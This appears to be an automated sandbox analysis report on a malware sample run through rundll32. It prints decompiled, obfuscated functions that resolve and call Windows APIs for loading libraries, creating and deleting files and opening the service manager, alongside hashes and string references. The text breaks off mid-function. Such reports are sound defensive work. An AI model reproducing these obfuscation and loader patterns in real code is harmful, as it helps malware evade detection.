Instruction ID: 83e210476216ec8459a8adee9ff99124ab2acb102a98288068733740e823cae6
Opcode Fuzzy Hash: ef59b29d425997034e4fed527bf505b0074c5b4e8b9fa1c114afddacbc91d9b0
Instruction Fuzzy Hash: 0621E3B1C01319BBCF14DFA9D94A9DEBFB5FB10354F108198E529A6251D3B59B04CF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 006DCCD9, Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 227
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E006DCCD9(void* __ecx, void* __edx) {
				signed int _v4;
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				void* _t242;
				intOrPtr _t243;
				intOrPtr _t244;
				void* _t248;
				signed int _t250;
				signed int _t251;
				signed int _t252;
				signed int _t253;
				signed int _t254;
				void* _t282;
				void* _t283;
				signed int _t285;
				signed int* _t287;
				signed int* _t288;

				_t287 =  &_v100;
				_v4 = _v4 & 0x00000000;
				_v8 = 0x71e8b0;
				_v36 = 0x18cf5b;
				_v36 = _v36 + 0x6698;
				_v36 = _v36 ^ 0x001a117a;
				_v60 = 0xa2890;
				_t282 = __edx;
				_t248 = __ecx;
				_t283 = 0x72ed85;
				_t250 = 0x42;
				_v60 = _v60 / _t250;
				_v60 = _v60 ^ 0xe73bacde;
				_v60 = _v60 ^ 0xe73fbe74;
				_v40 = 0x9c8291;
				_t251 = 0x70;
				_v40 = _v40 / _t251;
				_v40 = _v40 ^ 0x000cc374;
				_v64 = 0xa8df6e;
				_t252 = 0x66;
				_v64 = _v64 * 0x5a;
				_v64 = _v64 | 0x6df616d5;
				_v64 = _v64 ^ 0x7ff9e958;
				_v88 = 0xc174cb;
				_v88 = _v88 ^ 0xe7b64a13;
				_v88 = _v88 ^ 0xc84137a7;
				_v88 = _v88 << 0xc;
				_v88 = _v88 ^ 0x60915aca;
				_v32 = 0x752193;
				_v32 = _v32 * 0x3f;
				_v32 = _v32 ^ 0x1cda7702;
				_v92 = 0x141833;
				_v92 = _v92 + 0xffffc8f8;
				_v92 = _v92 + 0xf362;
				_v92 = _v92 << 0x10;
				_v92 = _v92 ^ 0xd48431d2;
				_v96 = 0xc34044;
				_v96 = _v96 << 8;
				_v96 = _v96 + 0xffff536d;
				_v96 = _v96 + 0x5d23;
				_v96 = _v96 ^ 0xc334c852;
				_v20 = 0x3a6348;
				_v20 = _v20 << 0x10;
				_v20 = _v20 ^ 0x6343ca6d;
				_v56 = 0x49cd71;
				_v56 = _v56 ^ 0x72d9145f;
				_v56 = _v56 + 0x4f98;
				_v56 = _v56 ^ 0x7290366b;
				_v24 = 0x3bf83a;
				_v24 = _v24 << 9;
				_v24 = _v24 ^ 0x77f6a760;
				_v28 = 0x632842;
				_v28 = _v28 + 0xffffe69b;
				_v28 = _v28 ^ 0x006ee443;
				_v48 = 0x4b2ed5;
				_v48 = _v48 ^ 0x82c7a85b;
				_v48 = _v48 + 0xffff7c4b;
				_v48 = _v48 ^ 0x8282f052;
				_v52 = 0x4c7b52;
				_v52 = _v52 + 0xffffbc1f;
				_v52 = _v52 + 0x2e12;
				_v52 = _v52 ^ 0x004752b1;
				_v16 = 0x3a13fc;
				_v16 = _v16 / _t252;
				_v16 = _v16 ^ 0x00081e0d;
				_v84 = 0x8573c6;
				_t253 = 0x4b;
				_v84 = _v84 / _t253;
				_v84 = _v84 | 0x42242f90;
				_v84 = _v84 >> 0xc;
				_v84 = _v84 ^ 0x00008b33;
				_v100 = 0x3509ce;
				_t254 = 0x19;
				_v100 = _v100 / _t254;
				_t285 = 0x44;
				_t255 = 0x6f;
				_v100 = _v100 * 0x31;
				_v100 = _v100 + 0x6b64;
				_v100 = _v100 ^ 0x006714bf;
				_v68 = 0x65eeb7;
				_v68 = _v68 + 0x24bd;
				_v68 = _v68 << 7;
				_v68 = _v68 ^ 0x330bb4b3;
				_v72 = 0x31388d;
				_v72 = _v72 * 0x77;
				_v72 = _v72 / _t285;
				_v72 = _v72 ^ 0x00560572;
				_v76 = 0x10ecc2;
				_v76 = _v76 | 0x28471304;
				_v76 = _v76 + 0xcdda;
				_v76 = _v76 ^ 0x285661a5;
				_v44 = 0xf32c83;
				_v44 = _v44 / _t255;
				_v44 = _v44 / _t285;
				_v44 = _v44 ^ 0x000ff213;
				_v80 = 0xb9f4a0;
				_v80 = _v80 << 0xa;
				_v80 = _v80 + 0xd38f;
				_v80 = _v80 >> 8;
				_v80 = _v80 ^ 0x00ede5ae;
				_v12 = 0x138f30;
				_v12 = _v12 ^ 0xf49e1969;
				_v12 = _v12 ^ 0xf48aec3a;
				while(1) {
					L1:
					_t242 = 0xd8fe181;
					do {
						L2:
						while(_t283 != 0x72ed85) {
							if(_t283 == 0xb6c7232) {
								_t278 = _v52;
								_t255 = _v48;
								_t243 = E006E1005(_v48, _v52, _v16, _v84,  *((intOrPtr*)(_t282 + 0x38)));
								_t287 =  &(_t287[3]);
								 *((intOrPtr*)(_t282 + 0x2c)) = _t243;
								__eflags = _t243;
								_t242 = 0xd8fe181;
								_t283 =  !=  ? 0xd8fe181 : 0xd6f812a;
								continue;
							}
							if(_t283 == 0xc5020c9) {
								_push(_v64);
								_t244 = E006E3263(_v36, _v60, __eflags, _t248, _v40, _t255);
								_t288 =  &(_t287[4]);
								 *((intOrPtr*)(_t282 + 0x38)) = _t244;
								__eflags = _t244;
								if(_t244 != 0) {
									E006E148A(_t244, _t244, _v88, _v32, _v92, _v96);
									_t278 = _v56;
									_t255 = _v20;
									E006CE2BD(_v56, _v24,  *((intOrPtr*)(_t282 + 0x38)), _v28);
									_t287 =  &(_t288[7]);
									_t283 = 0xb6c7232;
									goto L1;
								}
							} else {
								if(_t283 == 0xd6f812a) {
									return E006CF0E9(_v44,  *((intOrPtr*)(_t282 + 0x38)), _v80, _v12);
								}
								if(_t283 != _t242) {
									goto L13;
								} else {
									_t244 = E006D0EBC(_v100, _t278, _v68, _v100, _v72, _v76, _v100, _t255, _t282, E006E25F1);
									_t287 =  &(_t287[8]);
									 *((intOrPtr*)(_t282 + 0x48)) = _t244;
									if(_t244 == 0) {
										_t283 = 0xd6f812a;
										while(1) {
											L1:
											_t242 = 0xd8fe181;
											goto L2;
										}
									}
								}
							}
							return _t244;
						}
						_t283 = 0xc5020c9;
						L13:
						__eflags = _t283 - 0x11d9bb5;
					} while (__eflags != 0);
					return _t242;
				}
			}

0x006dccd9
0x006dccdc
0x006dcce1
0x006dcce9
0x006dccf1
0x006dccf9
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APIs

GetCursorFrameInfo.USER32 ref: 006DD087

Strings

Hc:, xrefs: 006DCE02
Cn, xrefs: 006DCE5C
$P, xrefs: 006DCD0F, 006DD023
R{L, xrefs: 006DCE84
#], xrefs: 006DCDF2
dk, xrefs: 006DCF12

Memory Dump Source

Source File: 00000004.00000002.310675126.00000000006C1000.00000020.00000001.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000004.00000002.310659344.00000000006C0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.310790430.00000000006E6000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c0000_rundll32.jbxd

Yara matches

Similarity

API ID: CursorFrameInfo
String ID: #]$$P$Cn$Hc:$R{L$dk
API String ID: 453930150-1551317889
Opcode ID: cb23345dc60c78753a24234d6723b573b8b8ef0a6842f9672ad5d7ade1e6847a
Instruction ID: 6be00ca11d16760692f6980a540c21c676821ba06e06006bf7a63a6d7ffc9b95
Opcode Fuzzy Hash: cb23345dc60c78753a24234d6723b573b8b8ef0a6842f9672ad5d7ade1e6847a
Instruction Fuzzy Hash: 18B152B29083419FD358CF26C54941BFBE2FBC4748F108A2EF59996260D3B5CA49CF86

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 1312 Parent PID: 5572 rundll32.exeCOMMON

Executed Functions

Function 049752B9, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 58
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E049752B9(WCHAR* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* _t47;
				struct HINSTANCE__* _t59;
				signed int _t61;
				signed int _t62;
				WCHAR* _t68;

				_push(_a12);
				_t68 = __ecx;
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E0498FE29(_t47);
				_v24 = _v24 & 0x00000000;
				_v28 = 0x68392e;
				_v16 = 0xf5950b;
				_v16 = _v16 ^ 0xb3325752;
				_v16 = _v16 ^ 0xe58473b2;
				_v16 = _v16 ^ 0x56462a2c;
				_v8 = 0x3988bb;
				_t61 = 0x3a;
				_v8 = _v8 / _t61;
				_v8 = _v8 + 0xf338;
				_v8 = _v8 << 5;
				_v8 = _v8 ^ 0x0035ea14;
				_v12 = 0xe53120;
				_v12 = _v12 ^ 0xa236e8c8;
				_t62 = 0x62;
				_v12 = _v12 / _t62;
				_v12 = _v12 ^ 0x01ab7b97;
				_v20 = 0x973198;
				_v20 = _v20 * 0x60;
				_v20 = _v20 ^ 0x38bce55b;
				E0497EB52(_t62, _t62, 0xeec842c3, 0xab, 0xa2289af1);
				_t59 = LoadLibraryW(_t68); // executed
				return _t59;
			}

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APIs

LoadLibraryW.KERNEL32 ref: 0497537F

Strings

1, xrefs: 04975326
.9h, xrefs: 049752D9
,*FV, xrefs: 049752F7

Memory Dump Source

Source File: 00000007.00000002.308556502.0000000004971000.00000020.00000001.sdmp, Offset: 04970000, based on PE: true

Associated: 00000007.00000002.308551888.0000000004970000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.308572241.0000000004996000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4970000_rundll32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: 1$,*FV$.9h
API String ID: 1029625771-1870595533
Opcode ID: 47e2a649f6d09089b8114036349e08445583c90553a88ce36019ef6e82d966d0
Instruction ID: 9ac35cc64b7bd4eadb333e228b171d3b295da3b2cad0b9b1103b374d4f25598f
Opcode Fuzzy Hash: 47e2a649f6d09089b8114036349e08445583c90553a88ce36019ef6e82d966d0
Instruction Fuzzy Hash: 4F2156B5D00208FBEF08DFA8D94A9EEBBB5FB40304F108198E815A7250D3B46B14DF90

Uniqueness

Uniqueness Score: -1.00%

Function 04991538, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E04991538(void* __ecx, void* __edx, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _t59;
				int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t79;
				signed int _t80;

				_push(_a4);
				E0498FE29(_t59);
				_v24 = _v24 & 0x00000000;
				_v32 = 0x73095a;
				_v28 = 0xd34a52;
				_v16 = 0xb3a153;
				_t77 = 0x73;
				_v16 = _v16 / _t77;
				_v16 = _v16 + 0x4fd2;
				_v16 = _v16 ^ 0xee3af97f;
				_v16 = _v16 ^ 0xee3510f4;
				_v20 = 0xee2064;
				_v20 = _v20 << 0xe;
				_v20 = _v20 ^ 0x88190a0a;
				_v12 = 0x72c7a5;
				_v12 = _v12 + 0x7839;
				_t78 = 0x77;
				_v12 = _v12 / _t78;
				_t79 = 0x76;
				_v12 = _v12 / _t79;
				_v12 = _v12 ^ 0x00040652;
				_v8 = 0x10c7fb;
				_t80 = 0x6c;
				_v8 = _v8 * 0x70;
				_v8 = _v8 << 8;
				_v8 = _v8 / _t80;
				_v8 = _v8 ^ 0x00c83f8f;
				E0497EB52(_t80, _t80, 0x2aa4bac1, 0x108, 0xa2289af1);
				_t75 = FindCloseChangeNotification(_a4); // executed
				return _t75;
			}

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APIs

FindCloseChangeNotification.KERNEL32(00040652), ref: 04991615

Strings

Zs, xrefs: 0499154F
d , xrefs: 0499158A

Memory Dump Source

Source File: 00000007.00000002.308556502.0000000004971000.00000020.00000001.sdmp, Offset: 04970000, based on PE: true

Associated: 00000007.00000002.308551888.0000000004970000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.308572241.0000000004996000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4970000_rundll32.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID: Zs$d
API String ID: 2591292051-3879001491
Opcode ID: 38bb643fa24bb4614003e7abf6af2ef3a1b5f649b6f440d52b37eb84a0984821
Instruction ID: ea67ff1c882807e078a5973300fe258cd567b8028870e79ff6c4ba09838c5bf9
Opcode Fuzzy Hash: 38bb643fa24bb4614003e7abf6af2ef3a1b5f649b6f440d52b37eb84a0984821
Instruction Fuzzy Hash: E8213EB5D40209FFEB04DFA5D9499DDBBB1EB40314F10C099E614B7250D7B96B548F80

Uniqueness

Uniqueness Score: -1.00%

Function 0497D061, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E0497D061(WCHAR* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t54;
				int _t63;
				signed int _t65;
				WCHAR* _t69;

				_push(_a12);
				_t69 = __ecx;
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E0498FE29(_t54);
				_v28 = _v28 & 0x00000000;
				_v24 = _v24 & 0x00000000;
				_v36 = 0xa62646;
				_v32 = 0x27199b;
				_v20 = 0x942c55;
				_v20 = _v20 | 0xf0368afe;
				_v20 = _v20 << 0xa;
				_v20 = _v20 ^ 0xfbcaf84d;
				_v20 = _v20 ^ 0x217d6c33;
				_v16 = 0xf28622;
				_v16 = _v16 >> 0xe;
				_v16 = _v16 | 0xeb4a9877;
				_v16 = _v16 ^ 0x2aded5e4;
				_v16 = _v16 ^ 0xc19eb21f;
				_v12 = 0x4a5837;
				_v12 = _v12 ^ 0xa3e571b7;
				_v12 = _v12 + 0xffff6305;
				_t65 = 0x6e;
				_v12 = _v12 / _t65;
				_v12 = _v12 ^ 0x01794185;
				_v8 = 0xa209ee;
				_v8 = _v8 + 0x62d2;
				_v8 = _v8 ^ 0x3d892cf6;
				_v8 = _v8 | 0x5ca7d1ce;
				_v8 = _v8 ^ 0x7da8dabc;
				E0497EB52(_t65, _t65, 0x74c3d0b1, 0x1a1, 0xa2289af1);
				_t63 = DeleteFileW(_t69); // executed
				return _t63;
			}

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APIs

DeleteFileW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 0497D145

Strings

3l}!, xrefs: 0497D0AE
7XJ, xrefs: 0497D0D5

Memory Dump Source

Source File: 00000007.00000002.308556502.0000000004971000.00000020.00000001.sdmp, Offset: 04970000, based on PE: true

Associated: 00000007.00000002.308551888.0000000004970000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.308572241.0000000004996000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4970000_rundll32.jbxd

Yara matches

Similarity

API ID: DeleteFile
String ID: 3l}!$7XJ
API String ID: 4033686569-2205417827
Opcode ID: 10709235247fc134180b3dbd0d2fc7697fcbb658dcad94b6e8f128d82acf9f3f
Instruction ID: 9887ad2e3c9b8d4a39f7ad974676517641a02c9099b27187cd0c23e4a6d8df79
Opcode Fuzzy Hash: 10709235247fc134180b3dbd0d2fc7697fcbb658dcad94b6e8f128d82acf9f3f
Instruction Fuzzy Hash: E42145B5D00318AFDF08DFA5C98A9DEFBB0FF14304F108188E966A6210D7B85B558F91

Uniqueness

Uniqueness Score: -1.00%

Function 049945CA, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E049945CA(WCHAR* __ecx, void* __edx, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, long _a24, intOrPtr _a28, intOrPtr _a32, long _a36, intOrPtr _a40, long _a44, long _a48) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				intOrPtr _v28;
				void* _t51;
				void* _t60;
				WCHAR* _t64;

				_push(_a48);
				_t64 = __ecx;
				_push(_a44);
				_push(_a40);
				_push(_a36);
				_push(_a32);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(0);
				_push(0);
				_push(__ecx);
				E0498FE29(_t51);
				_v28 = 0x204d4f;
				_v24 = 0;
				_v20 = 0xd27984;
				_v20 = _v20 | 0x43788b11;
				_v20 = _v20 ^ 0x43f3df42;
				_v16 = 0xf976f1;
				_v16 = _v16 + 0xffff3d74;
				_v16 = _v16 | 0xfc5c4419;
				_v16 = _v16 ^ 0xfcfdb6fc;
				_v12 = 0xb7df7c;
				_v12 = _v12 + 0xffff3658;
				_v12 = _v12 * 0x13;
				_v12 = _v12 ^ 0x1f30f970;
				_v12 = _v12 ^ 0x12ab006a;
				_v8 = 0x8ba8ca;
				_v8 = _v8 | 0x62aa166a;
				_v8 = _v8 + 0xa2f6;
				_v8 = _v8 * 0x55;
				_v8 = _v8 ^ 0xc33acf6c;
				E0497EB52(__ecx, __ecx, 0xbc17bbde, 0x19f, 0xa2289af1);
				_t60 = CreateFileW(_t64, _a24, _a48, 0, _a44, _a36, 0); // executed
				return _t60;
			}

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APIs

CreateFileW.KERNEL32(?,00000057,?,00000000,?,?,00000000), ref: 049946B5

Strings

OM , xrefs: 049945FD

Memory Dump Source

Source File: 00000007.00000002.308556502.0000000004971000.00000020.00000001.sdmp, Offset: 04970000, based on PE: true

Associated: 00000007.00000002.308551888.0000000004970000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.308572241.0000000004996000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4970000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: OM
API String ID: 823142352-4198367855
Opcode ID: c9e2e688d9aa6a43dcdad6de9a4dd150b1ce22289e56966cf6fc1244f0671eef
Instruction ID: 58404e256383185d480ead7027ef6e7a32f09f2e53c575b344fe46ec5360525d
Opcode Fuzzy Hash: c9e2e688d9aa6a43dcdad6de9a4dd150b1ce22289e56966cf6fc1244f0671eef
Instruction Fuzzy Hash: 7521EE72801249BBCF05DFA9CD45CDEBFB5EF88304F508199F914A6220D3768A61AF90

Uniqueness

Uniqueness Score: -1.00%

Function 0498648A, Relevance: 1.6, APIs: 1, Instructions: 50
memoryCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E0498648A(long __ecx, void* __edx, intOrPtr _a4, intOrPtr _a8, void* _a12, long _a16) {
				signed int _v8;
				unsigned int _v12;
				signed int _v16;
				signed int _v20;
				void* _t41;
				void* _t49;
				long _t52;

				_push(_a16);
				_t52 = __ecx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__ecx);
				E0498FE29(_t41);
				_v12 = 0x3cd3f;
				_v12 = _v12 << 3;
				_v12 = _v12 | 0xc677f757;
				_v12 = _v12 >> 7;
				_v12 = _v12 ^ 0x0188bcff;
				_v20 = 0x40fc9e;
				_v20 = _v20 << 4;
				_v20 = _v20 ^ 0x040306b1;
				_v16 = 0x159e9f;
				_v16 = _v16 + 0xffffd0d5;
				_v16 = _v16 * 0x33;
				_v16 = _v16 ^ 0x04433238;
				_v8 = 0x8a430d;
				_v8 = _v8 + 0xffffdfbc;
				_v8 = _v8 | 0x5356d001;
				_v8 = _v8 + 0x638e;
				_v8 = _v8 ^ 0x53d0144a;
				E0497EB52(__ecx, __ecx, 0x958aafc8, 0x1c3, 0xa2289af1);
				_t49 = RtlAllocateHeap(_a12, _a16, _t52); // executed
				return _t49;
			}

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APIs

RtlAllocateHeap.NTDLL(040306B1,?,ED94606E,?,?,?,?,?,?,?,?,?,?,?), ref: 04986543

Memory Dump Source

Source File: 00000007.00000002.308556502.0000000004971000.00000020.00000001.sdmp, Offset: 04970000, based on PE: true

Associated: 00000007.00000002.308551888.0000000004970000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.308572241.0000000004996000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4970000_rundll32.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f41072fe55694ed81fb5a2d434f63a6d1651ccbd0ba08c91d6bc4f92d8fba8a5
Instruction ID: 1c03361a233156e92df31df907df11efa4bf02419dc15395b7d4992f8b9a798d
Opcode Fuzzy Hash: f41072fe55694ed81fb5a2d434f63a6d1651ccbd0ba08c91d6bc4f92d8fba8a5
Instruction Fuzzy Hash: 5F1100B2C0121DFBDF06DFA5D9098CEBFB4FB40314F108598E821A6250E3B59B249F91

Uniqueness

Uniqueness Score: -1.00%

Function 0498E8B6, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E0498E8B6(void* __ecx, void* __edx, intOrPtr _a4, int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				void* _t29;
				void* _t37;

				_push(_a16);
				_push(_a12);
				_push(0);
				_push(_a4);
				_push(0);
				E0498FE29(_t29);
				_v20 = 0xc8e76b;
				_v20 = _v20 | 0x270203a1;
				_v20 = _v20 ^ 0x27c97096;
				_v16 = 0x55aebc;
				_v16 = _v16 >> 2;
				_v16 = _v16 ^ 0x00171a80;
				_v12 = 0xfad6fe;
				_v12 = _v12 ^ 0xd14a4d1d;
				_v12 = _v12 ^ 0xd1b10da7;
				_v8 = 0x428060;
				_v8 = _v8 * 0x54;
				_v8 = _v8 ^ 0x15de1a76;
				E0497EB52(__ecx, __ecx, 0x3c0b385, 0x1bc, 0x1f76e49f);
				_t37 = OpenSCManagerW(0, 0, _a12); // executed
				return _t37;
			}

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APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,27C97096,?,?,?,?,?,?,?,?,?,?,?), ref: 0498E94E

Memory Dump Source

Source File: 00000007.00000002.308556502.0000000004971000.00000020.00000001.sdmp, Offset: 04970000, based on PE: true

Associated: 00000007.00000002.308551888.0000000004970000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.308572241.0000000004996000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4970000_rundll32.jbxd

Yara matches

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 938ae55f57f10c9ec9f30609793a9938b44550d2e06b30d2dbdd077d207e708c
Instruction ID: 5ec99e3b5d54fbab0e1b8cca7a939878d2e6ff62d8302f0b59b3401f7f5b6985
Opcode Fuzzy Hash: 938ae55f57f10c9ec9f30609793a9938b44550d2e06b30d2dbdd077d207e708c
Instruction Fuzzy Hash: 7411277190221DFB9B04EFE99D468DFBFB4FF44308F108598E825B2211D3B19B149B91

Uniqueness

Uniqueness Score: -1.00%

Function 0498D11A, Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0498D11A() {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t39;

				_v24 = _v24 & 0x00000000;
				_v36 = 0x78f5c7;
				_v32 = 0xa12bb9;
				_v28 = 0x4eca09;
				_v8 = 0x8b256f;
				_v8 = _v8 << 0xb;
				_v8 = _v8 ^ 0x4a7d0011;
				_v8 = _v8 >> 9;
				_v8 = _v8 ^ 0x00073d60;
				_v20 = 0x1e549a;
				_v20 = _v20 + 0xffffad33;
				_v20 = _v20 ^ 0x00134b4f;
				_v16 = 0x8dd9dd;
				_v16 = _v16 << 3;
				_v16 = _v16 ^ 0x0460bc3c;
				_v12 = 0x358059;
				_v12 = _v12 + 0xb97b;
				_v12 = _v12 ^ 0x003502df;
				E0497EB52(_t39, _t39, 0x83891850, 0x1c, 0xa2289af1);
				ExitProcess(0);
			}

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APIs

ExitProcess.KERNEL32(00000000), ref: 0498D1B6

Memory Dump Source

Source File: 00000007.00000002.308556502.0000000004971000.00000020.00000001.sdmp, Offset: 04970000, based on PE: true

Associated: 00000007.00000002.308551888.0000000004970000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.308572241.0000000004996000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4970000_rundll32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 67c658d72cc930f45ab36e019061580956781c758de54a32820380ba4476f13f
Instruction ID: a44110acf2dfc77a9bea2f02eb70a05eaeaa39eb94c79231162b93418d6f838e
Opcode Fuzzy Hash: 67c658d72cc930f45ab36e019061580956781c758de54a32820380ba4476f13f
Instruction Fuzzy Hash: D81112B1C4030CEBDB44DFE5D94A6DEFBB0EB00708F108588D521B6240D3B89B489F90

Uniqueness

Uniqueness Score: -1.00%

Function 0499061D, Relevance: 1.3, APIs: 1, Instructions: 52
stringCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0499061D(void* __ecx, WCHAR* __edx, WCHAR* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* _t44;
				int _t53;
				WCHAR* _t56;

				_push(_a12);
				_t56 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E0498FE29(_t44);
				_v24 = _v24 & 0x00000000;
				_v28 = 0xcd60b7;
				_v12 = 0x7257ab;
				_v12 = _v12 << 0xd;
				_v12 = _v12 + 0x8f69;
				_v12 = _v12 * 0x4c;
				_v12 = _v12 ^ 0x410f7a13;
				_v8 = 0x7b4696;
				_v8 = _v8 + 0xffff4950;
				_v8 = _v8 | 0x2a0f624b;
				_v8 = _v8 * 0x3a;
				_v8 = _v8 ^ 0xa0f3ec54;
				_v20 = 0x8a2161;
				_v20 = _v20 + 0xffff45ea;
				_v20 = _v20 ^ 0x1b6c7fa6;
				_v20 = _v20 ^ 0x1be8dede;
				_v16 = 0xdcc12a;
				_v16 = _v16 + 0xb9f4;
				_v16 = _v16 + 0xffffcfef;
				_v16 = _v16 ^ 0x00d9de04;
				E0497EB52(__ecx, __ecx, 0xb7861dce, 0x3e, 0xa2289af1);
				_t53 = lstrcmpiW(_a4, _t56); // executed
				return _t53;
			}

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APIs

lstrcmpiW.KERNEL32(410F7A13,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 049906E5

Memory Dump Source

Source File: 00000007.00000002.308556502.0000000004971000.00000020.00000001.sdmp, Offset: 04970000, based on PE: true

Associated: 00000007.00000002.308551888.0000000004970000.00000004.00000001.sdmp Download File
Associated: 00000007.00000002.308572241.0000000004996000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4970000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: ef59b29d425997034e4fed527bf505b0074c5b4e8b9fa1c114afddacbc91d9b0
Instruction ID: be1f8e21f556507b2a9ecc5862e28750b50395218f4b0f36e0523c739eb38d1e
Opcode Fuzzy Hash: ef59b29d425997034e4fed527bf505b0074c5b4e8b9fa1c114afddacbc91d9b0
Instruction Fuzzy Hash: 6A2110B1C01309ABCF14DFA9D9899DEBFB5FB20354F108298E529A7251D3B49B04CF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 6112 Parent PID: 5504 rundll32.exeCOMMON

Executed Functions

Function 02E82C24, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E02E82C24(WCHAR* __ecx, void* __edx, intOrPtr _a12, intOrPtr _a20, int _a24, intOrPtr _a28, struct _STARTUPINFOW* _a32, intOrPtr _a40, intOrPtr _a44, WCHAR* _a52, struct _PROCESS_INFORMATION* _a56) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				struct _SECURITY_ATTRIBUTES* _v28;
				intOrPtr _v32;
				void* _t49;
				int _t56;
				WCHAR* _t60;

				_push(_a56);
				_t60 = __ecx;
				_push(_a52);
				_push(0);
				_push(_a44);
				_push(_a40);
				_push(0);
				_push(_a32);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(0);
				_push(_a12);
				_push(0);
				_push(0);
				_push(__ecx);
				E02E7FE29(_t49);
				_v32 = 0x534833;
				_v28 = 0;
				_v24 = 0;
				_v8 = 0x70adbe;
				_v8 = _v8 >> 5;
				_v8 = _v8 << 0xa;
				_v8 = _v8 | 0x1d11c356;
				_v8 = _v8 ^ 0x1f145645;
				_v20 = 0xecea8a;
				_v20 = _v20 | 0x5baa72b8;
